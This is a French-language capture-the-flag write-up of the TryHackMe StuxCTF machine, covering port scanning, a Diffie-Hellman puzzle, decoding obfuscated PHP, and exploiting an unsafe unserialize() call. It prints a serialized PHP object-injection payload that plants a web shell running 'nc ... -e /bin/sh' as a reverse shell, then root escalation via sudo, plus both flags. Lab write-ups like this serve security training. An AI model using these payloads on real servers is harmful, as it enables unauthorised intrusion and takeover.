Lien vers le CTF sur TryHackMe
Pas vraiment de mise en contexte pour ce CTF. Seulement une adresse IP et deux flags à récupérer : user.txt et root.txt. C’est parti !
Analyse des ports ouverts
La première chose que je peux faire est de scanner la machine pour comprendre quels sont les ports ouverts sur celle-ci. Comme souvent, j’utilise nmap avec le paramètre -p- pour lui demander de scanner la totalité des ports de 1 à 65535. J’utilise aussi le paramètre -oN [file] pour sauvegarder le résultat du scan dans un fichier, au cas où j’en aurais besoin plus tard.
mkdir nmap
nmap -p- -oN nmap/allports.txt [ip]

Ok, seulement une connexion SSH sur le port 22 et un serveur web sur le port 80. Exactement comme lors du précédent CTF basé sur Rick et Morty.
Analyse du serveur web
Je vais commencer par analyser le serveur web, en copiant l’adresse IP du serveur dans Firefox. La page principale est une page blanche. En ouvrant le code source de la page je remarque cet étrange commentaire :
<!-- The secret directory is...
p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251;
g: 7;
a: 330;
b: 450;
g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617;
-->
Il semblerait qu’il existe un dossier caché sur le serveur web, et qu’il faut résoudre une équation pour le retrouver. Pour l’instant, je ne vois pas du tout comment la résoudre. Je laisse ça de côté pour plus tard, j’y reviendrais si je trouve plus d’indices.
En attendant, comme je n’ai pas plus d’informations sur la page principale, je vais lancer gobuster pour tenter de trouver des pages cachées présentes sur le serveur web.
gobuster dir -u http://[ip] -w /usr/share/wordlists/dirb/common.txt

La seule chose trouvée par gobuster est le fichier robots.txt. En l’ouvrant, je remarque qu’il contient quelques informations intéressantes.
# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow:
Disallow: /StuxCTF/
La première chose qui saute aux yeux c’est l’existence d’un chemin /StuxCTF/ dans le serveur web : une nouvelle piste à creuser. L’autre information intéressante est le commentaire # Diffie-Hellman.
Échange de clé de Diffie-Hellman et dossier caché
Après quelques recherches, j’apprends que Diffie-Hellman est une méthode mathématique d’échange de clé cryptographique. Elle permet à plusieurs personnes qui souhaitent communiquer de manière cryptée, de s’échanger une clé de cryptage sans ne jamais la diffuser publiquement. La video de Computerphile sur le sujet est très bien faîte et m’a beaucoup aidée à comprendre son fonctionnement.
Les calculs utilisés pour s’échanger une clé cryptée entre deux personnes sont les suivants :
$$A = g^a \bmod p$$$$B = g^b \bmod p$$$$cle_a = B^a \bmod p$$
$$cle_b = A^b \bmod p$$$$cle_a = cle_b$$
J’écrirais très prochainement un article sur le blog pour expliquer en détails comment fonctionne cette méthode d’échange de clé de Diffie-Hellman.
En attendant, la voilà ma fameuse équation à résoudre pour trouver le dossier caché ! En revanche, dans le cas présent, il semble y avoir une troisième personne. En effet, il y a une valeur a, b et c. L’équation d’échange de clé du point de vue de la personne c est donc :
$$cle_c = (C^a \bmod p)^b \bmod p$$
En calculant la valeur de la clé à l’aide de Python, j’obtiens la clé suivante :
4731502893726489553913132817668435073257703998402300518920399388568732895380420270497705080780083292819852656706944604442285505527079932762337253841976839
En tentant d’ouvrir un dossier portant ce nom sur Firefox j’obtiens une erreur 404 Not Found. Mais j’ai remarqué qu’il y avait un indice très important à prendre en compte dans l’énoncé du CTF sur TryHackMe :
first 128 characters ...
Je tente donc de ne garder que les 128 premiers chiffres de la clé et… Bingo ! Je tombe sur une nouvelle page cachée du serveur web sur laquelle il est écrit : Follow the white rabbit...
Exploitation d’une page PHP vulnérable
Comme d’habitude, j’analyse le code source de la nouvelle page et je tombe sur un petit indice en commentaire :
<!-- hint: /?file= -->
L’indice m’indique qu’il existe un paramètre GET nommé file que je peux utiliser. J’essaye d’y entrer différents noms de fichiers sans obtenir de résultats. Jusqu’à ce que je tente le paramètre ?file=index.php, j’obtiens la valeur suivante :
3d3d67432b384349794a47502b7757623068324c386f67507641696369786a50355232626939435067414349676f67507641696369786a5030425861794e326376776a50694d6e617534576174354363684a48647a523362764a324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e5938344464776c6d636a4e334c38346a497a706d4c756c5762754d6a4c78456a4c78305365795657647870324c7a70324c7a52585a7a4e585969307a59794e484930425861794e32633841434967414349674143494b347a4c67496e593841434967414349674143496741434967346a647052324c3841434967414349674143494b347a4c67496e5938346a647052324c38414349674143496741434967414349676f67507641696369786a507956476475563259767754434a6b51434b347a4c67496e593834544d6f39435075344364704a6d59684a48496c5258616f6448496c68476467633362737832624735544d6f7854434a6b51434a6f67507641696369786a507956476475563259386b51434a6b67432b384349794a47502b496962764a4864764a576231706d49394d336368783259675958616b784449674143496741434967414349674169432b384349794a47502b4969636c35576168526e62764e6d49394d336368783259675958616b7844496741434967414349676f67507641696369786a507430434939554762705a32507641694f303557616f42534c744543506741434967414349674169432b384349794a47502b595859753943506741434967414349674169432b384349794a47502b5958616b394350674143496741434967414349676f67507641696369786a50326c475a76774449674143496741434967414349674169432b384349794a47502b45324c3855576276686b5069414861773543656c526d62704a53506d566d636f4269496b355759794a574c79466d5932466d6269307a637a4647626a42535938414349674143496741434967414349674143494b347a4c67496e5938346a6276524864314a324c38414349674143496741434967414349674143494b347a4c67496e5938346a626842336376776a62766c47646864576132466d62675547626e64326255356a4935786d62763169637a4a53507a4e5859734e4749754647637a78444967414349674143496741434967414349674143494b347a4c67496e5938346a4979466d5932466d6269307a6373396d63303532626a315359704a58596749535a7a7857596d4a53506b56475a754647633456574c686c6d636842694979466d5932466d626a4953503056325a7946476474454764685247496955326377464762733932596930545a7364325a7652584c685258596b4269496b5632637746476273393259675547626e64326230316963684a6d6468356d49394d3363687832596749696276524864314a6d4939554763355248497539476430566e5938414349674143496741434967414349674143494b347a4c67496e5938346a497956475a6856476174495859695a5859754a53507a4e5859734e4749326c475a38414349674143496741434967414349676f67507641696369786a506949585a756c5759303532626a4a53507a4e5859734e4749326c475a384143496741434967414349674169432b384349794a47502b4943637652584c6b564765705a574c79466d5932466d626751486231466d5a6c52574c79466d5932466d6267495859695a5859754a53507a4e5859734e474932466d623841434967414349674143494b347a4c67496e59383454656b396d593841434967414349674143494b347a4c67496e593834445a6856476176774449674143494b347a4c67496e5938347a4c674979637a4e6d4c6c785765304e334c7a4e3359764d48646c4e3363684a53506d566d636f4269493056575a6f4e585a736c48647a4a535073566d6367736d62707847506741434967414349674169432b384349794a47502b384349694d33636a35696270316d4c77466d63304e486476396d59764d33636a397963305632637a466d493959575a796847496951585a6c6832636c785765304e6e493977575a79427961756c47623841434967414349674143494b347a4c67496e5938346a497830545a734632597a314362686c47647035576167774361305257613331535a6a6c6d646c5257506f52485a70646e4939516e626c526e62764e474969516e63764233646c6c6d646930545a74466d62674547646c3147506741434967414349674169432b384349794a47502b49434f74594556564a535030563263794647616a42535930565762386b67432b384349794a47502b554762306c476476776a52554e4565315233552b554762306c47643841434967414349674143494b347a4c67496e593834445a6856476138414349674169432b384349794a47502b7757623068474946425657554e3054454643504b347a4c67496e59386f67507641696369787a4f706b535a74466d6266564762705a474a6f4d486475564764753932596652585a6e39565a736c6d5a6f556d6570785759704a585a7a3557644b347a4c67496e5938306e432b384349794a4750376b534b706b534b3035575a303532626a52434973496949677779636e4647646b67535a6a46476277566d63664a48647a686963694a44627568535a6b393259755632583059545a7a466d596f59585a794a48647a6843656c686d4d756c6d59673847616a5647496741434967414349676f67507641696369787a4f704969496777694969675365684a6e6368425350674d335a6852484a6741434967414349674169432b384349794a4750376b535a74466d6266564762705a474a6f4d486475564764753932596652585a6e39565a736c6d5a673044493035575a303532626a5243496741434967414349676f67507641696369787a65704943636f426e4c3456475a756c6d493930545a74466d6266564762705a474a6f5957614b347a4c67496e59386f675076416963697854664b347a4c67496e5938736a49685133637068585267386d6267554762705a6b49673847616a5647496741434967414349676f67507641696369787a65706b535a74466d6266564762705a474a6f4d48647a6c47656c39565a736c6d5a6841694a6d41534b6c3157597539565a736c6d5a6b6743646c4e33637068695a707067507641696369787a4f6464535a736c6d5a6e734656466430586b41535067555762683532586c7857616d5269432b384349794a47504b347a4c67496e59386f675076416963697854664b347a4c67496e59383048496741434967414349676f67507641696369787a4f7045476468526d50744d58616f52484a6777535a736c6d5a2b307963706847646b6779633035575a303532626a394664314233586c7857616d42434967414349674143496741434967414349674169432b384349794a4750376c434b304e5764795233636c52325866426962766c47646a3557646d42434967414349674143494b347a4c67496e5938736a49304e585a304243637456485a69415350674547646852474a674d5761734a57647742434967414349674143494b347a4c67496e5938736a49306848647541586231526d49673044496c7857616d5243496a6c4762695648636741434967414349674169432b384349794a47503742535a736c6d5a674d3363687832594b347a4c67496e593873544b7767795a756c4764793947636c4a335879396d6379566d432b384349794a4750
Bizarre, ça ressemble à une valeur encodée. Je file sur CyberChef et je découvre qu’il s’agit d’un code PHP encodé en base64, puis inversé, puis encodé en hexadécimal. En décodant le tout, j’obtiens le code PHP de la page index.php :
<br />
error_reporting(0);<br />
class file {<br />
public $file = "dump.txt";<br />
public $data = "dump test";<br />
function __destruct(){<br />
file_put_contents($this->file, $this->data);<br />
}<br />
}<br />
<br />
<br />
$file_name = $_GET['file'];<br />
if(isset($file_name) && !file_exists($file_name)){<br />
echo "File no Exist!";<br />
}<br />
<br />
if($file_name=="index.php"){<br />
$content = file_get_contents($file_name);<br />
$tags = array("", "");<br />
echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));<br />
}<br />
unserialize(file_get_contents($file_name));<br />
<br />
C’est intéressant d’avoir ce code. J’apprend comment fonctionne le fameux paramètre GET nommé file. Après quelques recherches, je tombe sur cet article écrit par une équipe de pentesters qui ont trouvé un moyen d’exploiter cet exact bout de code PHP, réussissant à créer un nouveau fichier sur le serveur vulnérable.
La clé de l’exploitation se trouve à la ligne 22 :
unserialize(file_get_contents($file_name));
Le programme désérialise directement la valeur contenue dans le fichier entré dans le paramètre file sans aucune vérification. De plus, le code définit une classe file dont la méthode magique __destruct() créer un fichier sur le serveur contenant la valeur stockée dans la propriété data.
Donc, pour résumer, si je parviens à faire en sorte que la valeur du paramètre file contienne un fichier ayant un objet de cette classe déjà sérialisé, la désérialisation puis la destruction de cet objet déclencheront automatiquement la création d’un fichier sur la machine.
C’est parti, j’essaye ça !
Je créer pour tester un fichier ̀exploit.txt sur ma machine contenant un objet sérialisé que j’ai créé pour tester l’exploitation. L’objet créé est un objet de type file nommé test.txt et contenant le texte Test.
O:4:"file":2:{s:4:"file";s:8:"test.txt";s:4:"data";s:4:"Test";}
J’ouvre ensuite un serveur web Python au niveau du dossier dans lequel exploit.txt se trouve.
python3 -m http.server
Il ne me reste plus qu’à ouvrir la page dans Firefox avec le paramètre file pointant vers mon propre serveur web et vers mon fichier exploit.txt, c’est à dire l’URL suivante :
http://[ip-machine-vulnerable]/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/?file=http://[ip-ma-machine]:8000/exploit.txt
Et maintenant si j’essaye d’ouvrir le fichier test.txt sur le serveur web de la machine vulnérable…

Magnifique ! Mon nouveau fichier test.txt a bien été créé au niveau du serveur web.
Accès au serveur via un reverse shell
Maintenant que je sais que l’exploitation fonctionne, je peux recommencer les mêmes étapes, mais au lieu de créer un simple fichier test.txt, je vais tenter de créer un fichier shell.php contenant un reverse shell en PHP afin d’avoir un premier accès à la machine vulnérable. C’est parti, je me lance.
Premièrement je récupère un reverse shell PHP sur Revshells.com et je le sérialise dans le format vu précédemment. Je sauvegarde le tout dans un fichier payload.txt.
O:4:"file":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:58:"<?php shell_exec("nc [ip] 4444 -e /bin/sh"); ?>";}
Je lance ensuite un serveur Netcat sur ma machine en écoute sur le port 4444.
nc -lvnp 4444
Je peux maintenant ouvrir l’URL suivante sur Firefox :
http://[ip-machine-vulnerable]/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/?file=http://[ip-ma-machine]:8000/payload.txt
Et enfin ouvrir la page shell.php que je viens d’envoyer sur le serveur vulnérable.
http://[ip-machine-vulnerable]/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/shell.php
Bingo ! Je suis connecté au serveur.

Stabilisation du shell et récupération du flag user.txt
Avec la commande which python3 je vois que Python 3 est installé sur le serveur. Je vais donc prendre le temps de stabiliser le shell pour notamment avoir accès à l’autocomplétion de mes commandes.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL + Z
stty raw -echo; fg
Maintenant que c’est fait, je peux explorer le serveur plus facilement. En me déplaçant vers le dossier /home/grecia je trouve le premier flag ̀user.txt : 0b6044b7807dd100b9e30f1bd09db53f. Il ne me reste plus qu’à trouver le flag root.txt.
Élévation des privilèges et récupération du flag root.txt
En continuant mon exploration du serveur j’ai voulu voir si mon utilisateur avait des accès sudo sur certains fichiers ou programmes.
sudo -l

Magnifique ! Il se trouve que le serveur est très mal configuré et que mon utilisateur www-data possède des accès complet en tant que super utilisateur. Il ne me reste plus qu’à passer sur l’utilisateur root.
sudo su
Maintenant que j’ai tous les accès sur le serveur, je peux me déplacer vers le dossier /root pour y trouver le flag root.txt : 0028454003b42601548df551b738976c.